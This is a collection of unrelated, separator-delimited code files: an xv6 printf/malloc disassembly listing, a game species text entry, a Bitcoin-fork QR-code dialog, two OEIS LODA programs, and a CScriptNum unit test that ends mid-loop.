5ce: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
5d1: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
5d8: e9 7c 01 00 00 jmp 759 <printf+0x19e>
c = fmt[i] & 0xff;
5dd: 8b 55 0c mov 0xc(%ebp),%edx
5e0: 8b 45 f0 mov -0x10(%ebp),%eax
5e3: 01 d0 add %edx,%eax
5e5: 0f b6 00 movzbl (%eax),%eax
5e8: 0f be c0 movsbl %al,%eax
5eb: 25 ff 00 00 00 and $0xff,%eax
5f0: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
5f3: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
5f7: 75 2c jne 625 <printf+0x6a>
if(c == '%'){
5f9: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
5fd: 75 0c jne 60b <printf+0x50>
state = '%';
5ff: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
606: e9 4a 01 00 00 jmp 755 <printf+0x19a>
} else {
putc(fd, c);
60b: 8b 45 e4 mov -0x1c(%ebp),%eax
60e: 0f be c0 movsbl %al,%eax
611: 89 44 24 04 mov %eax,0x4(%esp)
615: 8b 45 08 mov 0x8(%ebp),%eax
618: 89 04 24 mov %eax,(%esp)
61b: e8 bb fe ff ff call 4db <putc>
620: e9 30 01 00 00 jmp 755 <printf+0x19a>
}
} else if(state == '%'){
625: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
629: 0f 85 26 01 00 00 jne 755 <printf+0x19a>
if(c == 'd'){
62f: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
633: 75 2d jne 662 <printf+0xa7>
printint(fd, *ap, 10, 1);
635: 8b 45 e8 mov -0x18(%ebp),%eax
638: 8b 00 mov (%eax),%eax
63a: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
641: 00
642: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
649: 00
64a: 89 44 24 04 mov %eax,0x4(%esp)
64e: 8b 45 08 mov 0x8(%ebp),%eax
651: 89 04 24 mov %eax,(%esp)
654: e8 aa fe ff ff call 503 <printint>
ap++;
659: 83 45 e8 04 addl $0x4,-0x18(%ebp)
65d: e9 ec 00 00 00 jmp 74e <printf+0x193>
} else if(c == 'x' || c == 'p'){
662: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
666: 74 06 je 66e <printf+0xb3>
668: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
66c: 75 2d jne 69b <printf+0xe0>
printint(fd, *ap, 16, 0);
66e: 8b 45 e8 mov -0x18(%ebp),%eax
671: 8b 00 mov (%eax),%eax
673: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
67a: 00
67b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
682: 00
683: 89 44 24 04 mov %eax,0x4(%esp)
687: 8b 45 08 mov 0x8(%ebp),%eax
68a: 89 04 24 mov %eax,(%esp)
68d: e8 71 fe ff ff call 503 <printint>
ap++;
692: 83 45 e8 04 addl $0x4,-0x18(%ebp)
696: e9 b3 00 00 00 jmp 74e <printf+0x193>
} else if(c == 's'){
69b: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
69f: 75 45 jne 6e6 <printf+0x12b>
s = (char*)*ap;
6a1: 8b 45 e8 mov -0x18(%ebp),%eax
6a4: 8b 00 mov (%eax),%eax
6a6: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
6a9: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
6ad: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
6b1: 75 09 jne 6bc <printf+0x101>
s = "(null)";
6b3: c7 45 f4 aa 09 00 00 movl $0x9aa,-0xc(%ebp)
while(*s != 0){
6ba: eb 1e jmp 6da <printf+0x11f>
6bc: eb 1c jmp 6da <printf+0x11f>
putc(fd, *s);
6be: 8b 45 f4 mov -0xc(%ebp),%eax
6c1: 0f b6 00 movzbl (%eax),%eax
6c4: 0f be c0 movsbl %al,%eax
6c7: 89 44 24 04 mov %eax,0x4(%esp)
6cb: 8b 45 08 mov 0x8(%ebp),%eax
6ce: 89 04 24 mov %eax,(%esp)
6d1: e8 05 fe ff ff call 4db <putc>
s++;
6d6: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
6da: 8b 45 f4 mov -0xc(%ebp),%eax
6dd: 0f b6 00 movzbl (%eax),%eax
6e0: 84 c0 test %al,%al
6e2: 75 da jne 6be <printf+0x103>
6e4: eb 68 jmp 74e <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
6e6: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
6ea: 75 1d jne 709 <printf+0x14e>
putc(fd, *ap);
6ec: 8b 45 e8 mov -0x18(%ebp),%eax
6ef: 8b 00 mov (%eax),%eax
6f1: 0f be c0 movsbl %al,%eax
6f4: 89 44 24 04 mov %eax,0x4(%esp)
6f8: 8b 45 08 mov 0x8(%ebp),%eax
6fb: 89 04 24 mov %eax,(%esp)
6fe: e8 d8 fd ff ff call 4db <putc>
ap++;
703: 83 45 e8 04 addl $0x4,-0x18(%ebp)
707: eb 45 jmp 74e <printf+0x193>
} else if(c == '%'){
709: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
70d: 75 17 jne 726 <printf+0x16b>
putc(fd, c);
70f: 8b 45 e4 mov -0x1c(%ebp),%eax
712: 0f be c0 movsbl %al,%eax
715: 89 44 24 04 mov %eax,0x4(%esp)
719: 8b 45 08 mov 0x8(%ebp),%eax
71c: 89 04 24 mov %eax,(%esp)
71f: e8 b7 fd ff ff call 4db <putc>
724: eb 28 jmp 74e <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
726: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
72d: 00
72e: 8b 45 08 mov 0x8(%ebp),%eax
731: 89 04 24 mov %eax,(%esp)
734: e8 a2 fd ff ff call 4db <putc>
putc(fd, c);
739: 8b 45 e4 mov -0x1c(%ebp),%eax
73c: 0f be c0 movsbl %al,%eax
73f: 89 44 24 04 mov %eax,0x4(%esp)
743: 8b 45 08 mov 0x8(%ebp),%eax
746: 89 04 24 mov %eax,(%esp)
749: e8 8d fd ff ff call 4db <putc>
}
state = 0;
74e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
755: 83 45 f0 01 addl $0x1,-0x10(%ebp)
759: 8b 55 0c mov 0xc(%ebp),%edx
75c: 8b 45 f0 mov -0x10(%ebp),%eax
75f: 01 d0 add %edx,%eax
761: 0f b6 00 movzbl (%eax),%eax
764: 84 c0 test %al,%al
766: 0f 85 71 fe ff ff jne 5dd <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
76c: c9 leave
76d: c3 ret
0000076e <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
76e: 55 push %ebp
76f: 89 e5 mov %esp,%ebp
771: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
774: 8b 45 08 mov 0x8(%ebp),%eax
777: 83 e8 08 sub $0x8,%eax
77a: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
77d: a1 14 0c 00 00 mov 0xc14,%eax
782: 89 45 fc mov %eax,-0x4(%ebp)
785: eb 24 jmp 7ab <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
787: 8b 45 fc mov -0x4(%ebp),%eax
78a: 8b 00 mov (%eax),%eax
78c: 3b 45 fc cmp -0x4(%ebp),%eax
78f: 77 12 ja 7a3 <free+0x35>
791: 8b 45 f8 mov -0x8(%ebp),%eax
794: 3b 45 fc cmp -0x4(%ebp),%eax
797: 77 24 ja 7bd <free+0x4f>
799: 8b 45 fc mov -0x4(%ebp),%eax
79c: 8b 00 mov (%eax),%eax
79e: 3b 45 f8 cmp -0x8(%ebp),%eax
7a1: 77 1a ja 7bd <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7a3: 8b 45 fc mov -0x4(%ebp),%eax
7a6: 8b 00 mov (%eax),%eax
7a8: 89 45 fc mov %eax,-0x4(%ebp)
7ab: 8b 45 f8 mov -0x8(%ebp),%eax
7ae: 3b 45 fc cmp -0x4(%ebp),%eax
7b1: 76 d4 jbe 787 <free+0x19>
7b3: 8b 45 fc mov -0x4(%ebp),%eax
7b6: 8b 00 mov (%eax),%eax
7b8: 3b 45 f8 cmp -0x8(%ebp),%eax
7bb: 76 ca jbe 787 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
7bd: 8b 45 f8 mov -0x8(%ebp),%eax
7c0: 8b 40 04 mov 0x4(%eax),%eax
7c3: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
7ca: 8b 45 f8 mov -0x8(%ebp),%eax
7cd: 01 c2 add %eax,%edx
7cf: 8b 45 fc mov -0x4(%ebp),%eax
7d2: 8b 00 mov (%eax),%eax
7d4: 39 c2 cmp %eax,%edx
7d6: 75 24 jne 7fc <free+0x8e>
bp->s.size += p->s.ptr->s.size;
7d8: 8b 45 f8 mov -0x8(%ebp),%eax
7db: 8b 50 04 mov 0x4(%eax),%edx
7de: 8b 45 fc mov -0x4(%ebp),%eax
7e1: 8b 00 mov (%eax),%eax
7e3: 8b 40 04 mov 0x4(%eax),%eax
7e6: 01 c2 add %eax,%edx
7e8: 8b 45 f8 mov -0x8(%ebp),%eax
7eb: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
7ee: 8b 45 fc mov -0x4(%ebp),%eax
7f1: 8b 00 mov (%eax),%eax
7f3: 8b 10 mov (%eax),%edx
7f5: 8b 45 f8 mov -0x8(%ebp),%eax
7f8: 89 10 mov %edx,(%eax)
7fa: eb 0a jmp 806 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
7fc: 8b 45 fc mov -0x4(%ebp),%eax
7ff: 8b 10 mov (%eax),%edx
801: 8b 45 f8 mov -0x8(%ebp),%eax
804: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
806: 8b 45 fc mov -0x4(%ebp),%eax
809: 8b 40 04 mov 0x4(%eax),%eax
80c: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
813: 8b 45 fc mov -0x4(%ebp),%eax
816: 01 d0 add %edx,%eax
818: 3b 45 f8 cmp -0x8(%ebp),%eax
81b: 75 20 jne 83d <free+0xcf>
p->s.size += bp->s.size;
81d: 8b 45 fc mov -0x4(%ebp),%eax
820: 8b 50 04 mov 0x4(%eax),%edx
823: 8b 45 f8 mov -0x8(%ebp),%eax
826: 8b 40 04 mov 0x4(%eax),%eax
829: 01 c2 add %eax,%edx
82b: 8b 45 fc mov -0x4(%ebp),%eax
82e: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
831: 8b 45 f8 mov -0x8(%ebp),%eax
834: 8b 10 mov (%eax),%edx
836: 8b 45 fc mov -0x4(%ebp),%eax
839: 89 10 mov %edx,(%eax)
83b: eb 08 jmp 845 <free+0xd7>
} else
p->s.ptr = bp;
83d: 8b 45 fc mov -0x4(%ebp),%eax
840: 8b 55 f8 mov -0x8(%ebp),%edx
843: 89 10 mov %edx,(%eax)
freep = p;
845: 8b 45 fc mov -0x4(%ebp),%eax
848: a3 14 0c 00 00 mov %eax,0xc14
}
84d: c9 leave
84e: c3 ret
0000084f <morecore>:
static Header*
morecore(uint nu)
{
84f: 55 push %ebp
850: 89 e5 mov %esp,%ebp
852: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
855: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
85c: 77 07 ja 865 <morecore+0x16>
nu = 4096;
85e: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
865: 8b 45 08 mov 0x8(%ebp),%eax
868: c1 e0 03 shl $0x3,%eax
86b: 89 04 24 mov %eax,(%esp)
86e: e8 30 fc ff ff call 4a3 <sbrk>
873: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
876: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
87a: 75 07 jne 883 <morecore+0x34>
return 0;
87c: b8 00 00 00 00 mov $0x0,%eax
881: eb 22 jmp 8a5 <morecore+0x56>
hp = (Header*)p;
883: 8b 45 f4 mov -0xc(%ebp),%eax
886: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
889: 8b 45 f0 mov -0x10(%ebp),%eax
88c: 8b 55 08 mov 0x8(%ebp),%edx
88f: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
892: 8b 45 f0 mov -0x10(%ebp),%eax
895: 83 c0 08 add $0x8,%eax
898: 89 04 24 mov %eax,(%esp)
89b: e8 ce fe ff ff call 76e <free>
return freep;
8a0: a1 14 0c 00 00 mov 0xc14,%eax
}
8a5: c9 leave
8a6: c3 ret
000008a7 <malloc>:
void*
malloc(uint nbytes)
{
8a7: 55 push %ebp
8a8: 89 e5 mov %esp,%ebp
8aa: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
8ad: 8b 45 08 mov 0x8(%ebp),%eax
8b0: 83 c0 07 add $0x7,%eax
8b3: c1 e8 03 shr $0x3,%eax
8b6: 83 c0 01 add $0x1,%eax
8b9: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
8bc: a1 14 0c 00 00 mov 0xc14,%eax
8c1: 89 45 f0 mov %eax,-0x10(%ebp)
8c4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8c8: 75 23 jne 8ed <malloc+0x46>
base.s.ptr = freep = prevp = &base;
8ca: c7 45 f0 0c 0c 00 00 movl $0xc0c,-0x10(%ebp)
8d1: 8b 45 f0 mov -0x10(%ebp),%eax
8d4: a3 14 0c 00 00 mov %eax,0xc14
8d9: a1 14 0c 00 00 mov 0xc14,%eax
8de: a3 0c 0c 00 00 mov %eax,0xc0c
base.s.size = 0;
8e3: c7 05 10 0c 00 00 00 movl $0x0,0xc10
8ea: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
8ed: 8b 45 f0 mov -0x10(%ebp),%eax
8f0: 8b 00 mov (%eax),%eax
8f2: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
8f5: 8b 45 f4 mov -0xc(%ebp),%eax
8f8: 8b 40 04 mov 0x4(%eax),%eax
8fb: 3b 45 ec cmp -0x14(%ebp),%eax
8fe: 72 4d jb 94d <malloc+0xa6>
if(p->s.size == nunits)
900: 8b 45 f4 mov -0xc(%ebp),%eax
903: 8b 40 04 mov 0x4(%eax),%eax
906: 3b 45 ec cmp -0x14(%ebp),%eax
909: 75 0c jne 917 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
90b: 8b 45 f4 mov -0xc(%ebp),%eax
90e: 8b 10 mov (%eax),%edx
910: 8b 45 f0 mov -0x10(%ebp),%eax
913: 89 10 mov %edx,(%eax)
915: eb 26 jmp 93d <malloc+0x96>
else {
p->s.size -= nunits;
917: 8b 45 f4 mov -0xc(%ebp),%eax
91a: 8b 40 04 mov 0x4(%eax),%eax
91d: 2b 45 ec sub -0x14(%ebp),%eax
920: 89 c2 mov %eax,%edx
922: 8b 45 f4 mov -0xc(%ebp),%eax
925: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
928: 8b 45 f4 mov -0xc(%ebp),%eax
92b: 8b 40 04 mov 0x4(%eax),%eax
92e: c1 e0 03 shl $0x3,%eax
931: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
934: 8b 45 f4 mov -0xc(%ebp),%eax
937: 8b 55 ec mov -0x14(%ebp),%edx
93a: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
93d: 8b 45 f0 mov -0x10(%ebp),%eax
940: a3 14 0c 00 00 mov %eax,0xc14
return (void*)(p + 1);
945: 8b 45 f4 mov -0xc(%ebp),%eax
948: 83 c0 08 add $0x8,%eax
94b: eb 38 jmp 985 <malloc+0xde>
}
if(p == freep)
94d: a1 14 0c 00 00 mov 0xc14,%eax
952: 39 45 f4 cmp %eax,-0xc(%ebp)
955: 75 1b jne 972 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
957: 8b 45 ec mov -0x14(%ebp),%eax
95a: 89 04 24 mov %eax,(%esp)
95d: e8 ed fe ff ff call 84f <morecore>
962: 89 45 f4 mov %eax,-0xc(%ebp)
965: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
969: 75 07 jne 972 <malloc+0xcb>
return 0;
96b: b8 00 00 00 00 mov $0x0,%eax
970: eb 13 jmp 985 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
972: 8b 45 f4 mov -0xc(%ebp),%eax
975: 89 45 f0 mov %eax,-0x10(%ebp)
978: 8b 45 f4 mov -0xc(%ebp),%eax
97b: 8b 00 mov (%eax),%eax
97d: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
980: e9 70 ff ff ff jmp 8f5 <malloc+0x4e>
}
985: c9 leave
986: c3 ret
|
db "IRON ARMOR@" ; species name
db "You can tell its"
next "age by the length"
next "of its iron horns."
page "It claims an"
next "entire mountain"
next "as its territory.@"
|
#include "qrcodedialog.h"
#include "ui_qrcodedialog.h"
#include "bitcoinunits.h"
#include "guiconstants.h"
#include "guiutil.h"
#include "optionsmodel.h"
#include <QPixmap>
#include <QUrl>
#include <qrencode.h>
QRCodeDialog::QRCodeDialog(const QString &addr, const QString &label, bool enableReq, QWidget *parent) :
QDialog(parent),
ui(new Ui::QRCodeDialog),
model(0),
address(addr)
{
ui->setupUi(this);
setWindowTitle(QString("%1").arg(address));
ui->chkReqPayment->setVisible(enableReq);
ui->lblAmount->setVisible(enableReq);
ui->lnReqAmount->setVisible(enableReq);
ui->lnLabel->setText(label);
ui->btnSaveAs->setEnabled(false);
genCode();
}
QRCodeDialog::~QRCodeDialog()
{
delete ui;
}
void QRCodeDialog::setModel(OptionsModel *model)
{
this->model = model;
if (model)
connect(model, SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));
// update the display unit, to not use the default ("BTC")
updateDisplayUnit();
}
void QRCodeDialog::genCode()
{
QString uri = getURI();
if (uri != "")
{
ui->lblQRCode->setText("");
QRcode *code = QRcode_encodeString(uri.toUtf8().constData(), 0, QR_ECLEVEL_L, QR_MODE_8, 1);
if (!code)
{
ui->lblQRCode->setText(tr("Error encoding URI into QR Code."));
return;
}
myImage = QImage(code->width + 8, code->width + 8, QImage::Format_RGB32);
myImage.fill(0xffffff);
unsigned char *p = code->data;
for (int y = 0; y < code->width; y++)
{
for (int x = 0; x < code->width; x++)
{
myImage.setPixel(x + 4, y + 4, ((*p & 1) ? 0x0 : 0xffffff));
p++;
}
}
QRcode_free(code);
ui->lblQRCode->setPixmap(QPixmap::fromImage(myImage).scaled(300, 300));
ui->outUri->setPlainText(uri);
}
}
QString QRCodeDialog::getURI()
{
QString ret = QString("btcb:%1").arg(address);
int paramCount = 0;
ui->outUri->clear();
if (ui->chkReqPayment->isChecked())
{
if (ui->lnReqAmount->validate())
{
// even if we allow a non BTC unit input in lnReqAmount, we generate the URI with BTC as unit (as defined in BIP21)
ret += QString("?amount=%1").arg(BitcoinUnits::format(BitcoinUnits::BTC, ui->lnReqAmount->value()));
paramCount++;
}
else
{
ui->btnSaveAs->setEnabled(false);
ui->lblQRCode->setText(tr("The entered amount is invalid, please check."));
return QString("");
}
}
if (!ui->lnLabel->text().isEmpty())
{
QString lbl(QUrl::toPercentEncoding(ui->lnLabel->text()));
ret += QString("%1label=%2").arg(paramCount == 0 ? "?" : "&").arg(lbl);
paramCount++;
}
if (!ui->lnMessage->text().isEmpty())
{
QString msg(QUrl::toPercentEncoding(ui->lnMessage->text()));
ret += QString("%1message=%2").arg(paramCount == 0 ? "?" : "&").arg(msg);
paramCount++;
}
// limit URI length to prevent a DoS against the QR-Code dialog
if (ret.length() > MAX_URI_LENGTH)
{
ui->btnSaveAs->setEnabled(false);
ui->lblQRCode->setText(tr("Resulting URI too long, try to reduce the text for label / message."));
return QString("");
}
ui->btnSaveAs->setEnabled(true);
return ret;
}
void QRCodeDialog::on_lnReqAmount_textChanged()
{
genCode();
}
void QRCodeDialog::on_lnLabel_textChanged()
{
genCode();
}
void QRCodeDialog::on_lnMessage_textChanged()
{
genCode();
}
void QRCodeDialog::on_btnSaveAs_clicked()
{
QString fn = GUIUtil::getSaveFileName(this, tr("Save QR Code"), QString(), tr("PNG Images (*.png)"));
if (!fn.isEmpty())
myImage.scaled(EXPORT_IMAGE_SIZE, EXPORT_IMAGE_SIZE).save(fn);
}
void QRCodeDialog::on_chkReqPayment_toggled(bool fChecked)
{
if (!fChecked)
// if chkReqPayment is not active, don't display lnReqAmount as invalid
ui->lnReqAmount->setValid(true);
genCode();
}
void QRCodeDialog::updateDisplayUnit()
{
if (model)
{
// Update lnReqAmount with the current unit
ui->lnReqAmount->setDisplayUnit(model->getDisplayUnit());
}
}
|
; A055231: Powerfree part of n: product of primes that divide n only once.
; 1,2,3,1,5,6,7,1,1,10,11,3,13,14,15,1,17,2,19,5,21,22,23,3,1,26,1,7,29,30,31,1,33,34,35,1,37,38,39,5,41,42,43,11,5,46,47,3,1,2,51,13,53,2,55,7,57,58,59,15,61,62,7,1,65,66,67,17,69,70,71,1,73,74,3,19,77,78,79,5,1,82,83,21,85,86,87,11,89,10,91,23,93,94,95,3,97,2,11,1
mov $1,$0
add $0,1
seq $1,57521 ; Powerful (1) part of n: if n = Product_i (pi^ei) then a(n) = Product_{i : ei > 1} (pi^ei); if n=b*c^2*d^3 then a(n)=c^2*d^3 when b is minimized.
div $0,$1
|
; A156095: 5 F(2n) (F(2n) + 1) + 1 where F(n) denotes the n-th Fibonacci number.
; 1,11,61,361,2311,15401,104401,712531,4875781,33398201,228859951,1568486161,10750188961,73681909211,505020747661,3461456968201,23725161388951,162614629188281,1114577128871281,7639424974303651,52361396909490901
mov $2,1
lpb $0
sub $0,1
add $2,$1
add $1,$2
lpe
mov $0,$1
add $0,1
mul $0,$1
mov $1,$0
div $1,2
mul $1,10
add $1,1
|
// Copyright (c) 2012-2014 The Nullex Core developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "libzerocoin/bignum.h"
#include "script/script.h"
#include <boost/test/unit_test.hpp>
#include <limits.h>
#include <stdint.h>
BOOST_AUTO_TEST_SUITE(scriptnum_tests)
static const long values[] = \
{ 0, 1, CHAR_MIN, CHAR_MAX, UCHAR_MAX, SHRT_MIN, USHRT_MAX, INT_MIN, INT_MAX, static_cast<long>UINT_MAX, LONG_MIN, LONG_MAX };
static const long offsets[] = { 1, 0x79, 0x80, 0x81, 0xFF, 0x7FFF, 0x8000, 0xFFFF, 0x10000};
static bool verify(const CBigNum& bignum, const CScriptNum& scriptnum)
{
return bignum.getvch() == scriptnum.getvch() && bignum.getint() == scriptnum.getint();
}
static void CheckCreateVch(const long& num)
{
CBigNum bignum(num);
CScriptNum scriptnum(num);
BOOST_CHECK(verify(bignum, scriptnum));
CBigNum bignum2(bignum.getvch());
CScriptNum scriptnum2(scriptnum.getvch(), false);
BOOST_CHECK(verify(bignum2, scriptnum2));
CBigNum bignum3(scriptnum2.getvch());
CScriptNum scriptnum3(bignum2.getvch(), false);
BOOST_CHECK(verify(bignum3, scriptnum3));
}
static void CheckCreateInt(const long& num)
{
CBigNum bignum(num);
CScriptNum scriptnum(num);
BOOST_CHECK(verify(bignum, scriptnum));
BOOST_CHECK(verify(bignum.getint(), CScriptNum(scriptnum.getint())));
BOOST_CHECK(verify(scriptnum.getint(), CScriptNum(bignum.getint())));
BOOST_CHECK(verify(CBigNum(scriptnum.getint()).getint(), CScriptNum(CScriptNum(bignum.getint()).getint())));
}
static void CheckAdd(const long& num1, const long& num2)
{
const CBigNum bignum1(num1);
const CBigNum bignum2(num2);
const CScriptNum scriptnum1(num1);
const CScriptNum scriptnum2(num2);
CBigNum bignum3(num1);
CBigNum bignum4(num1);
CScriptNum scriptnum3(num1);
CScriptNum scriptnum4(num1);
// int64_t overflow is undefined.
bool invalid = (((num2 > 0) && (num1 > (std::numeric_limits<long>::max() - num2))) ||
((num2 < 0) && (num1 < (std::numeric_limits<long>::min() - num2))));
if (!invalid)
{
BOOST_CHECK(verify(bignum1 + bignum2, scriptnum1 + scriptnum2));
BOOST_CHECK(verify(bignum1 + bignum2, scriptnum1 + num2));
BOOST_CHECK(verify(bignum1 + bignum2, scriptnum2 + num1));
}
}
static void CheckNegate(const long& num)
{
const CBigNum bignum(num);
const CScriptNum scriptnum(num);
// -INT64_MIN is undefined
if (num != std::numeric_limits<long>::min())
BOOST_CHECK(verify(-bignum, -scriptnum));
}
static void CheckSubtract(const long& num1, const long& num2)
{
const CBigNum bignum1(num1);
const CBigNum bignum2(num2);
const CScriptNum scriptnum1(num1);
const CScriptNum scriptnum2(num2);
bool invalid = false;
// int64_t overflow is undefined.
invalid = ((num2 > 0 && num1 < std::numeric_limits<long>::min() + num2) ||
(num2 < 0 && num1 > std::numeric_limits<long>::max() + num2));
if (!invalid)
{
BOOST_CHECK(verify(bignum1 - bignum2, scriptnum1 - scriptnum2));
BOOST_CHECK(verify(bignum1 - bignum2, scriptnum1 - num2));
}
invalid = ((num1 > 0 && num2 < std::numeric_limits<long>::min() + num1) ||
(num1 < 0 && num2 > std::numeric_limits<long>::max() + num1));
if (!invalid)
{
BOOST_CHECK(verify(bignum2 - bignum1, scriptnum2 - scriptnum1));
BOOST_CHECK(verify(bignum2 - bignum1, scriptnum2 - num1));
}
}
static void CheckCompare(const long& num1, const long& num2)
{
const CBigNum bignum1(num1);
const CBigNum bignum2(num2);
const CScriptNum scriptnum1(num1);
const CScriptNum scriptnum2(num2);
BOOST_CHECK((bignum1 == bignum1) == (scriptnum1 == scriptnum1));
BOOST_CHECK((bignum1 != bignum1) == (scriptnum1 != scriptnum1));
BOOST_CHECK((bignum1 < bignum1) == (scriptnum1 < scriptnum1));
BOOST_CHECK((bignum1 > bignum1) == (scriptnum1 > scriptnum1));
BOOST_CHECK((bignum1 >= bignum1) == (scriptnum1 >= scriptnum1));
BOOST_CHECK((bignum1 <= bignum1) == (scriptnum1 <= scriptnum1));
BOOST_CHECK((bignum1 == bignum1) == (scriptnum1 == num1));
BOOST_CHECK((bignum1 != bignum1) == (scriptnum1 != num1));
BOOST_CHECK((bignum1 < bignum1) == (scriptnum1 < num1));
BOOST_CHECK((bignum1 > bignum1) == (scriptnum1 > num1));
BOOST_CHECK((bignum1 >= bignum1) == (scriptnum1 >= num1));
BOOST_CHECK((bignum1 <= bignum1) == (scriptnum1 <= num1));
BOOST_CHECK((bignum1 == bignum2) == (scriptnum1 == scriptnum2));
BOOST_CHECK((bignum1 != bignum2) == (scriptnum1 != scriptnum2));
BOOST_CHECK((bignum1 < bignum2) == (scriptnum1 < scriptnum2));
BOOST_CHECK((bignum1 > bignum2) == (scriptnum1 > scriptnum2));
BOOST_CHECK((bignum1 >= bignum2) == (scriptnum1 >= scriptnum2));
BOOST_CHECK((bignum1 <= bignum2) == (scriptnum1 <= scriptnum2));
BOOST_CHECK((bignum1 == bignum2) == (scriptnum1 == num2));
BOOST_CHECK((bignum1 != bignum2) == (scriptnum1 != num2));
BOOST_CHECK((bignum1 < bignum2) == (scriptnum1 < num2));
BOOST_CHECK((bignum1 > bignum2) == (scriptnum1 > num2));
BOOST_CHECK((bignum1 >= bignum2) == (scriptnum1 >= num2));
BOOST_CHECK((bignum1 <= bignum2) == (scriptnum1 <= num2));
}
static void RunCreate(const long& num)
{
CheckCreateInt(num);
CScriptNum scriptnum(num);
if (scriptnum.getvch().size() <= CScriptNum::nMaxNumSize)
CheckCreateVch(num);
else
{
BOOST_CHECK_THROW (CheckCreateVch(num), scriptnum_error);
}
}
static void RunOperators(const long& num1, const int64_t& num2)
{
CheckAdd(num1, num2);
CheckSubtract(num1, num2);
CheckNegate(num1);
CheckCompare(num1, num2);
}
BOOST_AUTO_TEST_CASE(creation)
{
for(size_t i = 0; i < sizeof(values) / sizeof(values[0]); ++i)
{
for(size_t j = 0; j < sizeof(offsets) / sizeof(offsets[0]); ++j)
{
RunCreate(values[i]);
RunCreate(values[i] + offsets[j]);
RunCreate(values[i] - offsets[j]);
}
}
}
BOOST_AUTO_TEST_CASE(operators)
{
for(size_t i = 0; i < sizeof(values) / sizeof(values[0]); ++i)
{
for(size_t j = 0; j < sizeof(offsets) / sizeof(offsets[0]); ++j)
{
RunOperators(values[i], values[i]);
RunOperators(values[i], -values[i]);
RunOperators(values[i], values[j]);
RunOperators(values[i], -values[j]);
RunOperators(values[i] + values[j], values[j]);
RunOperators(values[i] + values[j], -values[j]);
RunOperators(values[i] - values[j], values[j]);
RunOperators(values[i] - values[j], -values[j]);
RunOperators(values[i] + values[j], values[i] + values[j]);
